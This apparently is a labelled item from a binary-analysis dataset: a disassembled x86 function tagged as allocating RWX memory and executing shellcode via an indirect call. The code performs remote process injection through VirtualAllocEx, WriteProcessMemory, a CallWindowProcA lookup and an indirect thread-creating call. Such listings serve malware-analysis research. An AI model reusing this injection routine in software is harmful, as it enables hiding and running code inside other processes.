Function at 0x1006d4be
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push htons
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x1006d4f8
mov eax, 0x101015dc
push eax
push 1
mov ebx, 0x194
call fcn.100d6030
add esp, 0x10
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x10101bca]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
call fcn.10054e24
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 0
mov eax, 0
sete al
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jne 0x1006d58a
mov dword [ebp - 0x14], esp
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualAllocEx_1]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1006d582
push 0xac
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov dword [ebp - 8], eax
jmp 0x1006d590
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1006d5a4
mov eax, 0xfffffffe
jmp 0x1006d807
push 0x10101bd2
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ecx, 2
call fcn.1005637f
add esp, 8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
mov eax, 0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1006d5da
add eax, 8
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WriteProcessMemory_1]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x1006d607
push 0x1f2
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x1006d61a
push ebx
call fcn.100d51af
add esp, 4
cmp dword [ebp - 0x20], 0
jne 0x1006d667
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1006d65d
push 0x251
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov eax, 0xfffffffd
jmp 0x1006d807
mov dword [ebp - 0x14], esp
push 0x101018c2
call dword [sym.imp.kernel32.dll_GetModuleHandleA_1]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1006d695
push 0x2c9
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push str.CallWindowProcA
push dword [ebp - 0x18]
call dword [sym.imp.kernel32.dll_GetProcAddress_1]
nop
nop
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1006d6c9
push 0x2c9
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], esp
mov eax, 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0
push 0
push dword [ebp + 8]
call dword [0x1026d337]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1006d719
push 0x31c
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1006d769
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1006d75f
push 0x39f
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov eax, 0xfffffffc
jmp 0x1006d807
mov dword [ebp - 0x14], esp
push 0xffffffff
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1006d79a
push 0x3ff
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1006d7d3
push 0x422
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov dword [ebp - 0x14], esp
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_CloseHandle_1]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1006d7ff
push 0x464
push 0x4022e9b
push 6
call fcn.100d51b5
add esp, 0xc
mov eax, dword [ebp - 8]
jmp 0x1006d807
mov esp, ebp
pop ebp
ret 0x10